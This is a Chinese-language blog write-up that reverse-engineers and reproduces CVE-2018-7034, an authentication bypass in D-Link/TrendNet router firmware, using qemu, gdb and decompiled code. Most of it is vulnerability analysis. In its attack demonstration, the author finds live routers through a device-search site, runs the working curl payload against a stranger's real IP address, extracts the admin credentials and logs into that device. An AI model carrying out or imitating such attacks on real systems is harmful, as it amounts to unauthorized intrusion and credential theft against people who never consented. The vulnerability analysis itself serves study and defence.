0%

CVE-2018-7034复现_D-Link信息泄露(权限绕过)

该漏洞的起因是身份验证是否成功的标识(AUTHORIZED_GROUP)会被添加到 POST 报文数据的后面,而攻击者可以通过将AUTHORIZED_GROUP=1 作为 POST 报文数据的一部分来发送,当读取报文的时候只有报文中的第一个 = 被识别到继而将后面的AUTHORIZED_GROUP=1 一起读入并写入来绕过身份验证,造成登录信息的泄露。

固件链接

漏洞描述

根据 [CVE-2018-7034](CVE - CVE-2018-7034漏洞) 上对该漏洞的披露可知,由getcfg.php中的请求所示,攻击者可以通过AUTHORIZED_GROUP=1值来绕过身份验证。

image-20250502101510755

漏洞前提分析

so,我们先来分析一下getcfg.php文件:

//$_POST["CACHE"]=false
//$AUTHORIZED_GROUP>=0
...
/* cut_count() will return 0 when no or only one token. */
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)//传入的SERVICES中需要有逗号,好像是token至少要有两个
{ //cut_count()不是php的内置函数,目前也没找到该函数的自定义部分,
// 只能猜测这里的作用是对SERVICES以 , 为分隔符计算数量
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="") //$GETCFG_SVC不为空,这里就是DEVICE.ACCOUNT
{ //就能load文件DEVICE.ACCOUNT.xml.php泄露用户密码等敏感信息
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file);
}
$SERVICE_INDEX++;
...

分析后可知,该文件最终要执行的操作是,加载/htdocs/webinc/getcfg/目录下以.xml.php结尾的文件,当然前提是要绕过一系列条件。经查找后发现目录下的DEVICE.ACCOUNT.xml.php文件中有用户密码等敏感信息,可以被我们泄露。

image-20250516095738822

程序启动

直接运行/htdocs/cgibin文件会输出如下内容:

image-20250519150650816

看一下cgibin文件中的main函数,发现其要求第一个命令行参数是给定的参数这里就是phpcgi,搜索一下发现在/usr/sbin/目录下有一个符号链接phpcgi指向/htdocs/cgibin,不过这个符号链接被损坏了要删除这个再创建一个,如下是新建的符号链接。

image-20250519154926888

然后执行qemu-mipsel ./phpcgi命令便能运行cgibin程序了。

寻找漏洞原因

现在需要对二进制文件cgibin进行逆向分析,主要分析的是main函数下的phpcgi_main函数。

phpcgi_main函数分析

image-20250520225115704

sobj_new()函数如下:

//v7 = sobj_new();
_DWORD *sobj_new()
{
_DWORD *result; // $v0
result = malloc(0x18u);
if ( result )
...
return result;

结合分析可知,0x414264地址处中$v0寄存器中存放的便是malloc函数申请的地址块,也就是v7中的内容,是0x438008

QQ_1747363464219

接下来会执行sobj_add_string(v7, *(_DWORD *)(a2 + 4));函数,这里a2是传入的命令行参数,我们猜测这里是将命令行参数添加到v7的地址块中,如下,

sobj_add_string()执行前

image-20250516103754011

执行后,确实把第一个命令行参数aaaa添加进去了

QQ_1747363318826

接着执行sobj_add_char(),这一步会在aaaa后面再加一个\n

image-20250516110426803

接下来是一个for循环:

for ( i = a3; *i; ++i )                       // a3是环境变量,这个循环应该是将环境变量分别也添加到上面的地址块中
{
sobj_add_string(v6, "_SERVER_");
sobj_add_string(v6, *i);
sobj_add_char(v6, 10);
}

其作用是解析envp,并将解析后的环境变量都添加到地址块中,也就是第二个命令行参数aaaa的后面。

cgibin_parse_request函数分析

接着看cgibin_parse_request函数,调试这个函数的时候发现CONTENT_TYPECONTENT_LENGTH这两个环境变量需要存在,接着执行parse_uri函数,该函数会将环境变量REQUEST_URI?后面的内容添加到结构体中,故REQUEST_URI这个环境变量也需要存在。

image-20250519224112677

然后是一个strncasecmp比较,会比较v9v14前12个字符是否相等,如果相等会执行一个函数,这里我光看ida中的代码还不知道是什么函数。

image-20250519225140444

v10.dataoff_433014处的内容application/如下,而v14是环境变量CONTENT_TYPE的值,因此我们启动时的环境变量CONTENT_TYPE需要设置为application/x-www-form-urlencoded

image-20250519224745691

在gdb调试的时候,可以知道执行的函数地址是0x40445c,其实看其他师傅文章中ida能够反汇编出这个函数即sub_40445C,但是我只能看到该函数的汇编代码😓

image-20250519231208375

此时的启动脚本:

qemu-mipsel -E REQUEST_METHOD="POST" -E CONTENT_TYPE="application/x-www-form-urlencoded" -E CONTENT_LENGTH=3000 -E REQUEST_URI="M?31" -g 1234 ./phpcgi aaaa 

sub_40445c函数分析

在该函数中,会先后执行一个selectread函数,我们在执行select函数前先把POST报文写到标准输入流中,如下:

image-20250520162114872

执行select后便能read读入POST报文数据,如下:

image-20250520162457308

注意启动时设置的CONTENT_LENGTH要跟写入的POST报文数据长度一样,否则读完我们输入的内容后会再次selectread,此时标准输入流中已经没有数据了,便会像前面一样报错。

此时的启动脚本:

qemu-mipsel -E REQUEST_METHOD="POST" -E CONTENT_TYPE="application/x-www-form-urlencoded" -E CONTENT_LENGTH="44" -E REQUEST_URI="M?31" -g 1234 ./phpcgi aaaa
# POST报文数据:
SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1

接着会执行sub_403864函数(其实可以直接在IDA中分析代码得出,不过我的IDA并没有把sub_40445c函数反汇编)

image-20250520163446760

sub_403864函数分析

sub_403864函数的三个参数如下,正常会顺利进入下面两个if语句,然后进入循环,

QQ_1747747760913

这个循环会遍历POST报文数据,并以报文的第一个=为界限,将前后两段数据(也就是a1[1]a1[2])分别放到两个结构体中,如下:

QQ_1747749676493 QQ_1747749662464

最后这里要注意的是,调试的时候发现在第32行这个位置会再一次调用sub_403864函数,如下:

image-20250521182135261

在第二次执行sub_403864函数的时候才会执行sobj_unescape_uri函数,对POST报文数据进行url解码,接着执行后面的写入操作。

QQ_1747750292802

sub_405AC0函数分析

gdb调试的时候继续往下走,会走到0x405b00地址,在sub_405AC0函数中,在如下这个位置:

QQ_1747751245400

接下来会先向a1(最开始存放环境变量的结构体)中添加字符串_POST_,然后再将a2[1]POST报文数据中=前面的内容)添加进去,接着还会添加=POST报文数据中=后面的内容。其实就是将POST报文数据全部添加进去了,如下:

image-20250520224357245

其实分析到现在,我们知道了发送的POST报文数据会被存储到哪个地方,正常情况下POST报文数据中只需要有SERVICES=DEVICE.ACCOUNT即可,但是为什么还要在后面加上%0aAUTHORIZED_GROUP=1,并且这样就可以绕过身份验证呢?我们还不知道,继续往下分析。

phpcgi_main函数分析

接着程序流回到phpcgi_main函数上,会进入if执行sess_validate()函数,其中会打开一个文件如下:

image-20250521184925256

这个文件我们用户模拟的环境上是没有的,所以需要自己去创建一下即可。

接下来的部分就比较重要了前面我一直迷迷糊糊的,在这里幡然醒悟一切都解释的通了。

如下,执行完sobj_add_char(v6, 10);AUTHORIZED_GROUP=-1会被添加到v6(前面分析的存放POST报文数据的结构体)中,也就是说正常情况下,会读入POST报文数据写到v6中,然后执行sess_validate()函数进行一个身份验证,当然验证肯定是不通过的,因此会返回-1AUTHORIZED_GROUP=拼接,再将得到的AUTHORIZED_GROUP=-1添加到v6中具体位置就是POST报文的后面。

image-20250521204943772

因此,直接将AUTHORIZED_GROUP=1放在原来的POST报文数据的后面,这样便能绕过身份验证伪造sess_validate()返回1,所以最后的POST报文数据是这样的:

SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1

攻击演示

这个网站上查找还在用此路由器设备的站点

QQ_1747839344138

随便选一个,执行如下poc进行攻击

curl -d "SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1" "http://174.104.16.176:8080/getcfg.php"

获得用户名和密码

QQ_1747839200401

成功登录后台

image-20250521230019649

参考文章

CVE-2018-7034复现(TrendNet路由器登录信息泄露) | ZIKH26’s Blog

一些经典IoT漏洞的分析与复现(新手向) - IOTsec-Zone